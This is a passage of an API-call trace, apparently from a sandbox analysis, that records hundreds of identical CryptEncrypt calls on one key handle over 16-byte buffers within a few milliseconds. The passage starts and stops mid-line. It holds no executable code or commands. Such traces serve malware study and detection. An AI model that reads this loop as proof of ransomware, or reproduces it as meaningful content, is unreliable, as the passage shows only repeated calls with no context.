pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.803] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.804] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.805] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: 